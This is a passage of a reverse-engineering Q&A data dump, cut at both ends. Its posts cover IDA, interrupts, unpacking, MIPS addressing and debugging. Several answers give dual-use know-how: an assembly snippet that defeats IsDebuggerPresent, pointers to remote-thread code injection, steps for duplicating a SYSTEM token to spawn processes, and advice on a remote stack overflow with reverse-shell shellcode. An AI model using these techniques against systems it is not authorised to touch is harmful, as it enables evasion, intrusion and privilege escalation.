href=\"https://forum.tuts4you.com/topic/32632-themida-winlicense-manually-unpack-tutorial-exsample/\" rel=\"noreferrer\">Themida/WinLicense Manual Unpack tutorial</a></p>\n"
    },
    {
        "Id": "16968",
        "CreationDate": "2017-12-14T06:09:59.343",
        "Body": "<p>Is there a way (native or through plugin) to configure a code highlight scheme in IDA disasm?</p>\n\n<p>I'm looking for something like what we have in ollydbg or x64dbg, some code highlight to make easy on the eyes to find jumps, calls, etc. This seems to be such a good missing feature in IDA as I just can't find it anywhere.</p>\n\n<p>Thanks.</p>\n",
        "Title": "IDA code highlight?",
        "Tags": "|ida|",
        "Answer": "<p>I believe what you're looking for is IDASkins:\n<a href=\"https://github.com/zyantific/IDASkins\" rel=\"noreferrer\">https://github.com/zyantific/IDASkins</a>\nand this theme: \n<a href=\"https://github.com/eugeii/ida-consonance\" rel=\"noreferrer\">https://github.com/eugeii/ida-consonance</a></p>\n\n<p>For more plugins, go to: <a href=\"https://github.com/onethawt/idaplugins-list\" rel=\"noreferrer\">https://github.com/onethawt/idaplugins-list</a></p>\n"
    },
    {
        "Id": "16975",
        "CreationDate": "2017-12-14T17:32:36.077",
        "Body": "<p>What's the difference between an interrupt line and an interrupt number (like 0x80) ? Also how are IRQs related to syscalls?</p>\n",
        "Title": "What's the difference between an interrupt line and the interrupt number",
        "Tags": "|system-call|",
        "Answer": "<p><a href=\"http://wiki.osdev.org/Interrupts\" rel=\"nofollow noreferrer\">LMGTFY</a>:</p>\n\n<blockquote>\n  <p>An interrupt is a signal from a device, such as the keyboard, to the CPU, telling it to immediately stop whatever it is currently doing and do something else. For example, the keyboard controller sends an interrupt when a key is pressed. To know how to call on the kernel when a specific interrupt arise, the CPU has a table called the IDT, which is a vector table setup by the OS, and stored in memory. There are 256 interrupt vectors on x86 CPUs, numbered from 0 to 255 which act as entry points into the kernel. The number of interrupt vectors or entry points supported by a CPU differs based on the CPU architecture.</p>\n  \n  <p>There are generally three classes of interrupts on most platforms:</p>\n  \n  <ul>\n  <li><p><strong>Exception</strong>: These are generated internally by the CPU and used to alert the running kernel of an event or situation which requires its attention. On x86 CPUs, these include exception conditions such as Double Fault, Page Fault, General Protection Fault, etc.</p></li>\n  <li><p><strong>Interrupt Request (IRQ) or Hardware Interrupt</strong>: This type of interrupt is generated externally by the chipset, and it is signalled by latching onto the #INTR pin or equivalent signal of the CPU in question. There are two types of IRQs in common use today.</p>\n  \n  <ul>\n  <li><em>IRQ Lines, or Pin-based IRQs</em>: These are typically statically routed on the chipset. Wires or lines run from the devices on the chipset to an IRQ controller which serializes the interrupt requests sent by devices, sending them to the CPU one by one to prevent races. In many cases, an IRQ Controller will send multiple IRQs to the CPU at once, based on the priority of the device. An example of a very well known IRQ Controller is the Intel 8259 controller chain, which is present on all IBM-PC compatible chipsets, chaining two controllers together, each providing 8 input pins for a total of 16 usable IRQ signalling pins on the legacy IBM-PC.</li>\n  <li><em>Message Based Interrupts</em>: These are signalled by writing a value to a memory location reserved for information about the interrupting device, the interrupt itself, and the vectoring information. The device is assigned a location to which it wites either by firmware or by the kernel software. Then, an IRQ is generated by the device using an arbitration protocol specific to the device's bus. An example of a bus which provides message based interrupt functionality is the PCI Bus.</li>\n  </ul></li>\n  <li><p><strong>Software Interrupt</strong>: This is an interrupt signalled by software running on a CPU to indicate that it needs the kernel's attention. These types of interrupts are generally used for System Calls. On x86 CPUs, the instruction which is used to initiate a software interrupt is the \"INT\" instruction. Since the x86 CPU can use any of the 256 available interrupt vectors for software interrupts, kernels generally choose one. For example, many contemporary unixes use vector 0x80 on the x86 based platforms.</p></li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "16979",
        "CreationDate": "2017-12-15T10:09:56.637",
        "Body": "<p>I use x64dbg and IDA Pro the process is 32bit. I'm not sure if I'm doing this right or not because I'm getting a crash which I'm not sure if it's caused by me doing something wrong or the startup process of the application failing for some reason because it can't find the window.</p>\n\n<p>Basically what I'm trying to do is change the window title of some application on startup. I'm trying to achieve this by setting a break point on the <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms632680(v=vs.85).aspx\" rel=\"nofollow noreferrer\">user32 function</a> <code>CreateWindowExA</code> and then attempting to change the <code>lpWindowName</code> parameter.</p>\n\n<p>Here is what execution looks like when the bp is hit:</p>\n\n<p><a href=\"https://i.stack.imgur.com/gKGKv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gKGKv.png\" alt=\"code\"></a></p>\n\n<p>Where you see the string \"Title possibly\" originally contained what was the windows title, so I assume that's the location I need to change. When changing at that address is when I get the error though.</p>\n\n<p>Sorry for any ignorance, I'm new to this and practicing. Thanks.</p>\n\n<p>Edit: I worked on this a little more and made a dummy program to help me figure out what was happening. So the <code>CreateWindowExA</code> function in this application used the same pointer for both <code>lpClassName</code> and <code>lpWindowName</code> args. So patching the program to push just a string instead of that pointer successfully achieved what I was aiming for.</p>\n",
        "Title": "Changing a windows name by patching create window function call",
        "Tags": "|ida|debugging|binary-analysis|x86|",
        "Answer": "<p>Thanks for the responses guys. I managed to achieve my goal which is detailed in the OP edit:</p>\n\n<p>The <code>CreateWindowExA</code> function in this application used the same pointer for both <code>lpClassName</code> and <code>lpWindowName</code> args. So patching the program to push just a string instead of that pointer for <code>lpWindowName</code> successfully achieved what I was aiming for. I believe changing the <code>lpClassName</code> was causing the crash I described in the OP.</p>\n"
    },
    {
        "Id": "16980",
        "CreationDate": "2017-12-15T13:46:13.743",
        "Body": "<p>Does anybody know an unpacker/decryptor that can unpack Stone's PE Encrypter v2.0? I found one but it was for a previous version, not version 2.0. IDA's universal unpacker seems to hang when trying to unpack this. \"waiting for unpacker to finish\" forever. Thank you.</p>\n",
        "Title": "Stone's PE Encrypter v2.0",
        "Tags": "|ida|unpacking|packers|",
        "Answer": "<p>Depending on what you're looking to accomplish, you have a handful of options:</p>\n\n<ol>\n<li><p>Use <a href=\"https://rce.su/rldepacker/\" rel=\"noreferrer\">RL!dePacker 1.5</a>, which supports unpacking Stone's PE Encryptor 2.0. The technology at the core of this unpacker, <a href=\"https://www.reversinglabs.com/open-source/titanengine.html\" rel=\"noreferrer\">TitanEngine</a>, has been immensely improved since its implementation back then, and is available as open source via ReversingLabs. Official video tutorial from RL can be <a href=\"https://www.youtube.com/watch?v=mNI93FcCNSc\" rel=\"noreferrer\">viewed here</a>.</p></li>\n<li><p><a href=\"https://github.com/crackinglandia/fuu\" rel=\"noreferrer\">FUU</a> utilizes TitanEngine and <a href=\"https://github.com/crackinglandia/fuu/search?utf8=%E2%9C%93&amp;q=PE%20Encryptor%20v2.0&amp;type=\" rel=\"noreferrer\">has signatures for multiple versions of Stone's PE Encryptor, including v2.0</a>.</p></li>\n<li><p>Use <a href=\"http://www.woodmann.com/collaborative/tools/index.php/The_aPE\" rel=\"noreferrer\">The aPE</a>, which allows for patching of supported packed binaries--Stone's PE Encryptor v2.0 being one of the supported packers.</p></li>\n<li><p><a href=\"https://github.com/search?l=Text&amp;q=%22PE%20Encryptor%20v2.0%22&amp;type=Code&amp;utf8=%E2%9C%93\" rel=\"noreferrer\">A code search on GitHub for \"PE Encryptor v2.0\"</a> yields additional results you may want to sift through in case any of the solutions above don't pan out.</p></li>\n</ol>\n"
    },
    {
        "Id": "16983",
        "CreationDate": "2017-12-15T20:14:32.417",
        "Body": "<p>I have an address, that I think is not allowing me to run the debugger in IDA, I need help trying to stop it.  </p>\n\n<p>Also , what does <code>kernel32_IsDebuggerPresent</code> mean?</p>\n\n<p><a href=\"https://i.stack.imgur.com/4CJ7l.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4CJ7l.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Bypass IsDebuggerPresent",
        "Tags": "|ida|anti-debugging|",
        "Answer": "<p>Let's have a look of the function's description in <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx\" rel=\"noreferrer\">MSDN</a>:</p>\n\n<blockquote>\n  <p>Determines whether the calling process is being debugged by a\n  user-mode debugger</p>\n</blockquote>\n\n<p>As you guessed, this function is commonly used as an anti-debugging trick with the aim to break the process whenever the program detects that it is being debugged. <code>IsDebuggerPresent</code> checks for the <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx\" rel=\"noreferrer\">BeingDebugged</a> flag in the PEB (Process Environment Block) and will return a non-zero value if it is indeed being debug.</p>\n\n<p>You have several options to bypass this trick, some of them are:</p>\n\n<p><strong>Runtime patching:</strong>  </p>\n\n<ul>\n<li><a href=\"https://reverseengineering.stackexchange.com/a/16988/18698\">Set EAX to zero</a> after <code>IsDebuggerPresent</code> being called</li>\n<li><p>Modify the PEB itself by injecting this code:  </p>\n\n<pre><code>mov eax,dword ptr fs:[18]\nmov eax,dword ptr ds:[eax+30]\nmov byte ptr ds:[eax+2],0\n</code></pre>\n\n<p>This will patch the <code>BeingDebugged</code> flag in the PEB, ensuring <code>IsDebuggerPresent</code> always returns 0.</p></li>\n<li>You can use a plugin like <a href=\"https://github.com/nihilus/idastealth\" rel=\"noreferrer\">idastealth</a></li>\n</ul>\n\n<p><strong>Permanent Patching:</strong>  </p>\n\n<ul>\n<li>You can fill the call to IsDebuggerPresent with NOPs or something similar to skip the check</li>\n</ul>\n"
    },
    {
        "Id": "17003",
        "CreationDate": "2017-12-19T12:19:34.500",
        "Body": "<p>I don't know whether this is the right place to ask this question. I want some guide lines on this subject because I don't know how to search my problem in the internet.</p>\n\n<p>I want to create an executable file which can inject code into a targeted (another) executable file and run that target. What I talking about is <strong>not</strong> a patched <code>exe</code>. I want that <code>exe</code> to inject the code and run the program.</p>\n\n<p>Is it possible to create such executable files..? If it is, can you please tell me some guiding materials..?</p>\n\n<p>ps: when I search about <code>injection</code>, I get only about <code>dll</code> injection and it is not I want.</p>\n\n<p>Thank You!!</p>\n",
        "Title": "Inject code into exe",
        "Tags": "|patching|injection|",
        "Answer": "<p>Start <strong><a href=\"https://www.codeguru.com/cpp/w-p/system/processesmodules/article.php/c5767/Three-Ways-To-Inject-Your-Code-Into-Another-Process.htm\" rel=\"noreferrer\">here</a></strong>--specifically, the third technique: \"The CreateRemoteThread &amp; WriteProcessMemory Technique\". To quote:</p>\n\n<blockquote>\n  <p>Another way to copy some code to another process's address space and then execute it in the context of this process involves the use of remote threads and the WriteProcessMemory API. Instead of writing a separate DLL, you copy the code to the remote process directly now\u2014via WriteProcessMemory\u2014and start its execution with CreateRemoteThread.</p>\n</blockquote>\n\n<p>You could also use the <strong><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx\" rel=\"noreferrer\">WriteProcessMemory function</a></strong> to write bytes directly, whether it's overwriting bytes directly or <strong><a href=\"https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves\" rel=\"noreferrer\">code-caving</a></strong>. There are nuances to keep in mind, though, like making sure the permissions of the memory you're writing to are set properly (read/write/execute), ala the <strong><a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx\" rel=\"noreferrer\">Virtual* functions</a></strong>.</p>\n"
    },
    {
        "Id": "17007",
        "CreationDate": "2017-12-19T18:43:28.923",
        "Body": "<p>I was using radare2 (2.2.0) with r2pipe (0.9.5) for python3 to debug the code generated by:\n</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(){\n    char entrada[14];\n    gets(entrada);\n    puts(entrada);\n    return 0;\n}\n</code></pre>\n\n<p>Disassembling the main function with radare2 outputs:</p>\n\n<pre><code>0x00400546      55             pushq %rbp\n0x00400547      4889e5         movq %rsp, %rbp\n0x0040054a      4883ec10       subq $0x10, %rsp\n0x0040054e      488d45f0       leaq local_10h, %rax\n0x00400552      4889c7         movq %rax, %rdi\n0x00400555      b800000000     movl $0, %eax\n0x0040055a      e8e1feffff     callq sym.imp.gets          ; char*gets(char *s)\n0x0040055f      488d45f0       leaq local_10h, %rax\n0x00400563      4889c7         movq %rax, %rdi\n0x00400566      e8c5feffff     callq sym.imp.puts          ; int puts(const char *s)\n0x0040056b      b800000000     movl $0, %eax\n0x00400570      c9             leave\n0x00400571      c3             retq\n</code></pre>\n\n<p>However, when debugging this program with python using this script\n</p>\n\n<pre><code>import r2pipe as r2\nprog = r2.open(\"./a.out\")\n\nprog.cmd(\"aaa\")\nprog.cmd(\"doo\")\n\nprog.cmd(\"db 0x0040055f\") #Breakpoint after 'gets' call\n\nprog.cmd(\"dc\")\nprog.cmd(\"dc\")\n</code></pre>\n\n<p>the execution stucks in the \"gets\" call, no matter which input I use. The same sequence of commands works fine with the radare2's CLI. I also tried using <code>dor stdin=input.txt</code> before <code>doo</code> which, despite the fact it works, it isn't convenient to write files to the disk, and for some uses, is not possible to determine the needed input before the execution.</p>\n\n<p>What is the best way to use stdin with r2pipe?</p>\n",
        "Title": "Using stdin when debugging with r2pipe",
        "Tags": "|radare2|",
        "Answer": "<p>Just use i.e. pseudo-terminal as file in the command. I usually create <code>rarun2</code> file</p>\n\n<pre><code>#!/usr/bin/rarun2\nstdin=/dev/pts/20\n</code></pre>\n\n<p>And in the r2pipe script I run</p>\n\n<pre><code>r2.cmd('e dbg.profile=re2.rr2')\n</code></pre>\n\n<p>to configure usage of this script by <code>r2</code> debug session.</p>\n\n<p>Then, on one terminal you run your <code>r2pipe</code> and on the other (the one that is <code>/dev/pts/20</code>) you type</p>\n\n<pre><code>echo \"&lt;input&gt;\" &gt; /dev/pts/20\n</code></pre>\n"
    },
    {
        "Id": "17008",
        "CreationDate": "2017-12-19T20:19:41.470",
        "Body": "<p>So I'm seeing this a lot in an IDA database:</p>\n\n<pre><code>; wchar_t off_BADF00D\noff_BADF00D     dd offset loc_6F0062\n                dd offset loc_740074\n                dd offset loc_6D006E+1\n                align 10h\n</code></pre>\n\n<p>So given the comment at the top IDA <em>knows</em> from the code reference that this ought to be a zero-terminated wide character string.</p>\n\n<p>I was thinking of writing a simple IDAPython script to find instances of this and force these items to be converted to the appropriate data type automatically.</p>\n\n<p>However, neither <code>;</code> nor <code>:</code> showed anything, so this is neither a repeatable nor a normal comment. So what is it and how can I use IDAPython to extract it? I also tried (prompted by a comment here) if it's an anterior or posterior comment line. It wasn't.</p>\n\n<p>Alternatively I'll also be happy if someone can point out how to \"guide\" IDA to do the right thing without scripting, but this sparked my curiosity, so only bonus points for that. I'd still like to find out how to get the comment shown.</p>\n",
        "Title": "How to extract the automatic comment for these data items in IDA?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Can't tell about python, but in IDC you can partially get that 'comment' via <code>GetType(ea)</code>. I say partially because it gives <code>wchar_t[67]</code> as result for comment like <code>; wchar_t aHttpSchemas_27[67]</code>.</p>\n"
    },
    {
        "Id": "17010",
        "CreationDate": "2017-12-19T22:09:27.177",
        "Body": "<p><code>CreateProcessAsUser</code> is often used by Windows services in case an executable is started that the user has specified in order to run it with Medium Integrity Level to ensure privilege isolation.</p>\n\n<p><a href=\"https://i.stack.imgur.com/EXce3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EXce3.png\" alt=\"CreateProcessAsUser stack trace\"></a></p>\n\n<p>Looking at the signature, a <code>hToken</code> has to be provided. From my observation, Windows services always pick the currently logged on user that performed this action.</p>\n\n<pre><code>BOOL WINAPI CreateProcessAsUser(\n  _In_opt_    HANDLE                hToken,\n  _In_opt_    LPCTSTR               lpApplicationName,\n  _Inout_opt_ LPTSTR                lpCommandLine,\n  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  _In_        BOOL                  bInheritHandles,\n  _In_        DWORD                 dwCreationFlags,\n  _In_opt_    LPVOID                lpEnvironment,\n  _In_opt_    LPCTSTR               lpCurrentDirectory,\n  _In_        LPSTARTUPINFO         lpStartupInfo,\n  _Out_       LPPROCESS_INFORMATION lpProcessInformation\n);\n</code></pre>\n\n<hr>\n\n<p><strong>Q: What mechanism determines that \"current user\"?</strong></p>\n\n<p>I'm double quoting \"current user\", because it seems very vague to assume a single point of implementation. I currently assume that every function that calls <code>CreateProcessAsUser</code> has its own implementation of retrieving the \"current user\" in order to pass its token.</p>\n\n<p>I would like to understand what this logic looks like and on what criteria the <code>hToken</code> is selected. Since user mode process creation is performed by many Windows services, I would have to assume there is a common logic for it, but I don't see it in the stack traces (see image).</p>\n",
        "Title": "How is CreateProcessAsUser impersonation implemented in Windows services?",
        "Tags": "|windows|process|",
        "Answer": "<blockquote>\n  <p>I currently assume that every function that calls CreateProcessAsUser has its own implementation of retrieving the \"current user\" in order to pass its token.  </p>\n  \n  <p>I would like to understand what this logic looks like and on what criteria the hToken is selected.</p>\n</blockquote>\n\n<p>A while back I wrote some Delphi code to do this when running a program as SYSTEM. Instead of a service, I was executing from a SYSTEM cmd prompt, which I invoked using psexec: <code>psexec -s -i -d cmd.exe</code>). Logic flowed like this:</p>\n\n<ol>\n<li>Call <a href=\"https://msdn.microsoft.com/en-us/library/aa383835(v=vs.85).aspx\" rel=\"nofollow noreferrer\">WTSGetActiveConsoleSessionID</a> to retrieve session ID of the session attached to the physical console (and therefore not term services session). <a href=\"https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L424\" rel=\"nofollow noreferrer\">code</a></li>\n<li><s>Can next call <a href=\"https://msdn.microsoft.com/en-us/library/aa383840(v=vs.85).aspx\" rel=\"nofollow noreferrer\">WTSQueryUserToken</a> to retrieve the token for that session</s> Obtain PID for a SYSTEM process, like <code>winlogon.exe</code></li>\n<li>Obtain a handle to this process by calling <code>OpenProcess</code> <a href=\"https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L431\" rel=\"nofollow noreferrer\">code</a></li>\n<li>Using this handle, call <code>OpenProcessToken</code> to obtain a handle to the process' access token <a href=\"https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L442\" rel=\"nofollow noreferrer\">code</a></li>\n<li>Call <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx\" rel=\"nofollow noreferrer\">DuplicateTokenEx</a> specifying this handle and the user's session ID in order to create a copy of the token. <a href=\"https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L460\" rel=\"nofollow noreferrer\">code</a></li>\n<li>Call CreateProcessAsUser with this duplicated token. <a href=\"https://github.com/MicksMix/RunAsLou/blob/master/uWtsUtils.pas#L485\" rel=\"nofollow noreferrer\">code</a></li>\n</ol>\n\n<p>Here's a <a href=\"https://www.codeproject.com/Articles/35773/Subverting-Vista-UAC-in-Both-and-bit-Archite\" rel=\"nofollow noreferrer\">similar example in C#</a>.</p>\n\n<p>You can use <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer\" rel=\"nofollow noreferrer\">Process Explorer</a> to view the session that process is being run within.\n<a href=\"https://i.stack.imgur.com/mlsTQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mlsTQ.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17022",
        "CreationDate": "2017-12-20T12:56:13.843",
        "Body": "<h3>Question:</h3>\n<blockquote>\n<p>You are given <code>eax = 0x1</code>. Could you set <code>eax</code> to zero using only one <code>add</code> instruction ?</p>\n</blockquote>\n<h3>Answer:</h3>\n<pre><code>add %eax, 0xffffffff\n</code></pre>\n<p>Why is that ?</p>\n",
        "Title": "how to represent -1 in assembly?",
        "Tags": "|assembly|x86|",
        "Answer": "<p><a href=\"https://www.cs.cornell.edu/~tomf/notes/cps104/twoscomp.html\" rel=\"nofollow noreferrer\">Reference:</a></p>\n\n<blockquote>\n  <h2>Conversion from Two's Complement</h2>\n  \n  <p>Use the number 0xFFFFFFFF as an example. In binary, that is:</p>\n  \n  <p><code>1111 1111 1111 1111 1111 1111 1111 1111</code></p>\n  \n  <p>What can we say about this\n  number? It's first (leftmost) bit is 1, which means that this\n  represents a number that is negative. That's just the way that things\n  are in two's complement: a leading 1 means the number is negative, a\n  leading 0 means the number is 0 or positive.</p>\n  \n  <p>To see what this number is a negative of, we reverse the sign of this\n  number. But how to do that? The class notes say (on 3.17) that to\n  reverse the sign you simply invert the bits (0 goes to 1, and 1 to 0)\n  and add one to the resulting number.</p>\n  \n  <p>The inversion of that binary number is, obviously:</p>\n  \n  <p><code>0000 0000 0000 0000 0000 0000 0000 0000</code></p>\n  \n  <p>Then we add one. </p>\n  \n  <p><code>0000 0000 0000 0000 0000 0000 0000 0001</code> </p>\n  \n  <p>So the negative of 0xFFFFFFFF is\n  0x00000001, more commonly known as 1. So 0xFFFFFFFF is -1.</p>\n</blockquote>\n"
    },
    {
        "Id": "17023",
        "CreationDate": "2017-12-20T13:20:45.227",
        "Body": "<p>I'm trying to reverse a binary and I'm having trouble understanding a pattern that keeps showing in almost half of the functions in the binary.</p>\n\n<p>This is how one particular function looks like:</p>\n\n<p><a href=\"https://i.stack.imgur.com/fqwHz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fqwHz.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why is <code>rsl_setNetCfgObj</code> being loaded in <code>$v1</code> and not \"used\" (being called) anywhere? I see that the next opcode sets <code>$a1</code> to an offset of <code>$v1</code>, but those addresses aren't pointing to anything meaningful.\nThis pattern is repeated in a lot of the functions that I'm analysing, and I'm not sure if that's some bug in Binary Ninja and IDA Pro (as they both show the same), or if I'm missing something.</p>\n\n<p>If that is not a bug, what exactly is <code>rol_setNetCfgObj</code> supposed to do?</p>\n",
        "Title": "Strange instructions pattern (lw) in MIPS binary",
        "Tags": "|disassembly|binary-analysis|mips|",
        "Answer": "<p>Like many RISC implementations, MIPS instruction set uses fixed-width 32-bit instructions, and instructions have only 16 bits for the offset field, meaning you can use only 16-bit constants, giving you 64KB of addressing. However, the actual address space of a MIPS CPU is 4GB (32-bit address size), so how can you access all that? Well, there is the  option of using partial 16-bit moves to build a 32-bit address in a register and then use an indirect load/store to access it. It usually looks similar to:</p>\n\n<pre><code>lui  $r1, 0x0123\naddi $r1, $r1, 0xabcd\n</code></pre>\n\n<p>or</p>\n\n<pre><code>lui  $r1, 0x0123\nori  $r1, $r1, 0xabcd\n</code></pre>\n\n<p>Both of these load <code>0x0123abcd</code> into <code>r1</code> aka <code>at</code> (see <a href=\"https://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/load32.html\" rel=\"noreferrer\">here</a>).</p>\n\n<p>However, this requires knowledge of the address at compile- (or at least link-) time. In case our binary needs to be loaded at a different address (as often the case with shared libraries), it will have to be relocated (instructions would need to be patched). Patching takes time, prevents code page sharing and increases memory consumption, that's why position-independent code (PIC) is preferred to fixed-address. </p>\n\n<p>So, how we can perform the address calculation independent from the load address? Well, we just need to take our execution address and add a fixed delta to it (usually binaries are loaded as one chunk to memory, so offsets from one part of it to another are fixed).  The MIPS ABI states that for public functions, the value of <code>$t9</code> at the function entry should be equal to its runtime address, and we can see the code using this fact:</p>\n\n<pre><code>109BC: li $gp, 0x830e4\n109C4: addu $gp, $gp, $t9\n</code></pre>\n\n<p>If we assume that <code>$t9</code> is equal to <code>0x109BC</code>, we get :</p>\n\n<pre><code>gp = 0x830e4 + 0x109BC = 0x93AA0\n</code></pre>\n\n<p><code>gp</code> stands for \"global pointer\" and is not supposed to change during the execution of the function (often it is assumed to have the same value in <em>all</em> functions of the program). This fact may be used by the compiler in all other calculations involving program addresses. For example, looking at the highlighted area:</p>\n\n<pre><code>lw $v1, -0x7fd4($gp) \n</code></pre>\n\n<p><code>0x93AA0-0x7fd4 = 0x8BACC</code>, and apparently the program stores <code>0x70000</code> at that address, which is used in the next instruction to load <code>$a1</code>:</p>\n\n<pre><code>lw $a1, -0x1b4c($v1)\n</code></pre>\n\n<p>Calculating it: <code>-0x1b4c+0x70000=0x6E4B4</code> (helpfully shown by the disassembler).</p>\n\n<p>So, <code>$v1</code> (and <code>v0</code> later) here is just an intermediate variable used for the address calculation (usually <code>$at</code> is reserved for this purpose but reusing it all the time may lead to slower code).</p>\n\n<p>By the way, <code>0x70000</code> has all zeroes in the low 16 bits, and it's not an accident. It may happen to point to <code>rsl_setNetCfgObj</code> but it's just a red herring.</p>\n\n<p>If you go to the .got section of the binary, you will usually see something like this:</p>\n\n<pre><code>.got:00515B40      .word 0\n.got:00515B44      .word 0x80000000\n.got:00515B48      .word 0x510000\n.got:00515B4C      .word 0x4D0000\n.got:00515B50      .word 0x420000\n.got:00515B54      .word 0x4C0000\n.got:00515B58      .word 0x520000\n.got:00515B5C      .word 0x430000\n.got:00515B60      .word 0x440000\n.got:00515B64      .word 0x450000\n.got:00515B68      .word 0x460000\n.got:00515B6C      .word 0x470000\n.got:00515B70      .word 0x480000\n.got:00515B74      .word 0x490000\n.got:00515B78      .word 0x4A0000\n.got:00515B7C      .word 0x530000\n.got:00515B80      .word 0x4B0000\n.got:00515B84      .word 0\n.got:00515B88      .word 0\n.got:00515B8C      .word 0\n</code></pre>\n\n<p>These are so-called <em>local</em> GOT entries, and are used by the compiler purely for address calculations inside the binary and not as pointers to external symbols. The compiler allocates enough different addresses there so it can reach any required address in the local binary with just a 16-bit (signed) offset. The <code>gp</code> itself is usually set to GOT+<code>7FF0</code> which allows the compiler to load any GOT entry (either external symbol or a local address for further calculation) in one instruction (assuming that GOT does not exceed 64KB).</p>\n\n<hr>\n\n<p>So, in summary: what you have here is <em>not</em> obfuscation or a disassembler bug but <strong>normal code</strong> demonstrating limitations of the MIPS instruction set and its calling conventions.</p>\n\n<hr>\n\n<p>BTW, IDA knows about these things and by default represents most such references using final addresses. E.g., from a sample binary:</p>\n\n<pre><code>.text:0042C34C   la      $v0, dword_520000\n.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)\n.text:0042C354   beqz    $v0, loc_42C36C\n.text:0042C358   li      $v1, 8\n.text:0042C35C   li      $v1, 9\n.text:0042C360   la      $v0, dword_520000\n.text:0042C364   b       loc_42C380\n.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)\n</code></pre>\n\n<p>And with simplifications turned off:</p>\n\n<pre><code>.text:0042C34C   lw      $v0, -0x7FD8($gp)\n.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)\n.text:0042C354   beq     $v0, $zero, loc_42C36C\n.text:0042C358   addiu   $v1, $zero, 8\n.text:0042C35C   addiu   $v1, $zero, 9\n.text:0042C360   lw      $v0, -0x7FD8($gp)\n.text:0042C364   beq     $zero, $zero, loc_42C380\n.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)\n</code></pre>\n\n<p>While you can still somewhat see what's going on, I personally prefer the first one.</p>\n\n<p>For more info on MIPS I would recommend the <em>See MIPS Run</em> book by Sweetman, as well as the MIPS ABI specifications (see <a href=\"https://www.linux-mips.org/wiki/MIPS_ABI_History\" rel=\"noreferrer\">here</a> for a start). Or just go through the code instruction by instruction and try to figure out what they do.</p>\n"
    },
    {
        "Id": "17029",
        "CreationDate": "2017-12-21T15:36:04.483",
        "Body": "<p>ELF x64 binary on a remote server communicates via simple socket server in C.</p>\n<p>After overflowing the buffer (total buffer is 2000, password buffer is less), overwriting the RIP, filling with NOP sled (512 nops), inserting a reverse bind shellcode on the top of that, finding out a perfect address (without <code>\\x00</code>) in middle of nop sled which after sliding it will execute the shellcode.</p>\n<ul>\n<li><p>Remote server ASLR is off;</p>\n</li>\n<li><p>Binary compiled without canary and can execute code from stack.</p>\n</li>\n<li><p>No info leak AFAIK</p>\n</li>\n</ul>\n<p>I understand the many outcomes but if I decide to brute force the remote server to find the NOP-sled address.\nAny good practice for that ?</p>\n",
        "Title": "brute force remote nop sled memory address",
        "Tags": "|crackme|x86-64|",
        "Answer": "<p>Brute force is not the way you should look to in anything unless its your last resort. The address space of x64 is too large to get brute force to work. Look up on this technique called ROP(Return Oriented Programming). Currently you're bruteforcing the RIP, what if there's some code in the binary that will help you jump to your shellcode without bruteforcing and plus no PIE means that address is constant. When your control is getting transferred at <code>ret</code>, look at what other registers contain. You might find code such as <code>call eax</code> in the binary.</p>\n"
    },
    {
        "Id": "17030",
        "CreationDate": "2017-12-21T17:27:42.017",
        "Body": "<p>I have an executable that is  c++(x64)  compiled code upon which the decompiler is not loaded. In other files, it works fine. But they are mostly written in c. \nI am not sure if it is a limitation in version 6.8.</p>\n",
        "Title": "IDA hex-rays decompiler not loaded",
        "Tags": "|ida|decompiler|",
        "Answer": "<p>The answer is that I was trying to open a 32bit file in idaq64 and so the decompiler doesn't work.</p>\n"
    },
    {
        "Id": "17036",
        "CreationDate": "2017-12-22T14:11:47.493",
        "Body": "<p>I'm trying to stop at a specific module load from a kernel debugger inside a specific process context.</p>\n\n<p>What i do is to first set <code>sxe ld [process-name]</code> let's say calc.exe.</p>\n\n<p>Now, when I run calc it works, but when i set <code>sxe ld [dll-name]</code> (say kernel32/ntdll) it won't work.</p>\n",
        "Title": "[windbg]kd - sxe ld <dll> from a process context won't fire",
        "Tags": "|windows|windbg|kernel-mode|",
        "Answer": "<p>I think usually this enables stopping on loading of kernel modules only (e.g. drivers). However, <a href=\"https://stackoverflow.com/questions/24319716/how-do-i-debug-a-process-that-starts-at-boot-time\">this SO answer</a> claims it can work for user-mode processes if you send <code>!gflag +ksl</code> first (Enable loading of kernel debugger symbols).</p>\n\n<p>It also describes how you can set process-specific kernel  breakpoints, e.g.</p>\n\n<pre><code>kd&gt; .process\n    Implicit process is now 00112233`44556677\nbp /p 0011223344556677 nt!NtMapViewOfSection\n</code></pre>\n\n<p>The <code>NtMapViewOfSection</code> syscall is used, among other purposes, to load DLLs so by stopping at it you should catch all further DLL loads.</p>\n"
    },
    {
        "Id": "17042",
